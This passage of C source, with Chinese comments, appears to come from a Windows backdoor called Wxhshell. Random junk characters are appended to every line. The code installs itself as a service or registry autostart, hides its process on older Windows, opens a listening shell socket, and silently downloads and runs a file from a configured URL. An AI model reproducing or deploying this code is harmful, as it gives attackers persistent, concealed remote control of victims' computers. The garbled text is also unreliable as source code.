ULONG UniqueProcessId; )Pq.kn{Sp
ULONG InheritedFromUniqueProcessId; R9(^CWs
} PROCESS_BASIC_INFORMATION; -|mABHjx*
*?{)i~
PROCNTQSIP NtQueryInformationProcess; /hQ!dU.+
X}$S|1CjO
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dg`W{oj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cb.Aw!
fJuJ#MX{:
HANDLE hProcess; JFfx9%Fq
PROCESS_BASIC_INFORMATION pbi; lxZXz JkqZ
dIm m},
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #7{a~-S
if(NULL == hInst ) return 0; w]_a0{Uh
JS9q'd
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8CCA/6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Q<a+
l
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yh=Zn[U
\T0`GpE
if (!NtQueryInformationProcess) return 0; X`&E,;bIb
D$\ EZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $3>|RlxYA
if(!hProcess) return 0; Go4l#6
SPBXI[[-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =B 9U
a^BD55d?
CloseHandle(hProcess); \ CYu;
4"{q|~&=:$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JmkJ^-A 6
if(hProcess==NULL) return 0; d=[.
@ o]F~x
HMODULE hMod; c c:xT0Y
char procName[255]; ~1p
f ?
unsigned long cbNeeded; 3XIxuQwf
xfb%bkr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 95}"AIi
&A~ 1Q#4
CloseHandle(hProcess); d<]/,BY'
ZP1EO Z
if(strstr(procName,"services")) return 1; // 以服务启动 m9/a!|fBE
a.P^+h
return 0; // 注册表启动 N'4*L=Ut
} SLW1]ZaG
F)C8LH
// 主模块 gN*8zui
int StartWxhshell(LPSTR lpCmdLine) 1z)+P1nH]
{ 6(.&y;
SOCKET wsl; -szvO_UP
BOOL val=TRUE; =3FXU{"Qi4
int port=0; @uc%]V<:k
struct sockaddr_in door; kns[b [!H
_Q QO&0Z
if(wscfg.ws_autoins) Install(); =&vV$UtV
YPN|qn(
port=atoi(lpCmdLine); IySlu^a
=uHTpHR
if(port<=0) port=wscfg.ws_port; 7Ev~yY;N
d%WFgf}
WSADATA data; >6Q-e$GS@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \o/oM,u
PWTAy\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d<y
B ~Y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fSj^/>
door.sin_family = AF_INET; f.!cR3XgV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 74Lq!e3hMF
door.sin_port = htons(port); ST{<G
\eN }V
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IlH*s/
closesocket(wsl); .69{GM?
return 1; &`@K/Nf$9
} U@H SU%H
W)KV"A3C
if(listen(wsl,2) == INVALID_SOCKET) {
8$1<N
closesocket(wsl); ]1X];x&e
return 1; V4|pZ]
} oC[$PPqX#
Wxhshell(wsl); +?%huJYK,
WSACleanup(); W)\~T :Kn
(|W@p\Q
return 0; GZse8ng
K1Uur>Pk%
} 1g
*4e
J
9z\ qTI
// 以NT服务方式启动 bEM-^SR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h9No'!'!
{ O `*}N1No[
DWORD status = 0; *edB3!!
DWORD specificError = 0xfffffff; ondF
nP] ~8ViS
serviceStatus.dwServiceType = SERVICE_WIN32; vFQ'sd]C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q~nc:eWD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YI|7a#*F
serviceStatus.dwWin32ExitCode = 0; E#J+.&2
serviceStatus.dwServiceSpecificExitCode = 0; -|g~--@Q
serviceStatus.dwCheckPoint = 0; 0C7x1:
serviceStatus.dwWaitHint = 0; G"wy?
;asB@Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >=wlS\:"
if (hServiceStatusHandle==0) return; NT:p6(s^
/aP`|&G,)
status = GetLastError(); DvU(rr\p
if (status!=NO_ERROR) m+zzhv1
{ EiSS_Lc
serviceStatus.dwCurrentState = SERVICE_STOPPED; G> "w$Us
serviceStatus.dwCheckPoint = 0; p;g$D=2
serviceStatus.dwWaitHint = 0; h60*=+vdJ
serviceStatus.dwWin32ExitCode = status; S_WYU&8
serviceStatus.dwServiceSpecificExitCode = specificError; Mc9% s$MT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c{zQX0
return; >a[)F
} +Ibcc8Qud
L9"V$MO
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Osx__6 $t
serviceStatus.dwCheckPoint = 0; -|T.APxB
serviceStatus.dwWaitHint = 0; SO9j/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2ACN5lyUS
} L'.7V ~b{
I6~.sTl
// 处理NT服务事件,比如:启动、停止 =
oQ-I
VOID WINAPI NTServiceHandler(DWORD fdwControl) `|[Q]+Mx
{ USv: +
.
switch(fdwControl) Y$shn]~
{ V |)3l7IC<
case SERVICE_CONTROL_STOP: W-2,QVp%
serviceStatus.dwWin32ExitCode = 0; YhRES]^
serviceStatus.dwCurrentState = SERVICE_STOPPED; |X0h-kX4
serviceStatus.dwCheckPoint = 0; UO>ADRs}
serviceStatus.dwWaitHint = 0; m!V ?xGKJ
{ d[J+):aW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xh,};TS(K
} O)n"a\LD
return; eNR>W>;'
case SERVICE_CONTROL_PAUSE: `;L>[\Xi
serviceStatus.dwCurrentState = SERVICE_PAUSED; JdF;*`_7*
break; ycTX\.KV
case SERVICE_CONTROL_CONTINUE: > X<pzD3u
serviceStatus.dwCurrentState = SERVICE_RUNNING; {%*,KB>b
break; ?Mtd3F^o?
case SERVICE_CONTROL_INTERROGATE: 'gI q_t|^
break; oSq4g{xvMH
}; J4&d6[40
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "8>T
} kZfa8wL]P
A}W)La\
// 标准应用程序主函数 !RN(/ &%y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j#rjYiYKy
{ /I(IT=kp
Y j;KKgk
// 获取操作系统版本 ~dg7c{o5
OsIsNt=GetOsVer(); D6fry\
GetModuleFileName(NULL,ExeFile,MAX_PATH); >{C=\F#*L
rOHU)2
// 从命令行安装 J'jwRn
if(strpbrk(lpCmdLine,"iI")) Install(); BIqZg$
TCWy^8LA
// 下载执行文件 F
jsnFX;
if(wscfg.ws_downexe) { tJ;<=.n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WBvh<wTw;
WinExec(wscfg.ws_filenam,SW_HIDE); ge
%ytrst
} /}t>o*
x
p~Di\AQ/
if(!OsIsNt) { j51Wod<[
// 如果时win9x,隐藏进程并且设置为注册表启动 >+Z BQ]~
HideProc(); FxeDjAP
StartWxhshell(lpCmdLine); e)"]H*
} ?NkweT(
else ,T&=*q
if(StartFromService()) OeLM*Zi
// 以服务方式启动 d^p af
StartServiceCtrlDispatcher(DispatchTable); %&w 8E[
else [$:M/5y9
// 普通方式启动 Ws$<B
b
StartWxhshell(lpCmdLine); 7L)edR[
Oh)s"f\N
return 0; (xxNQ]
l-(
}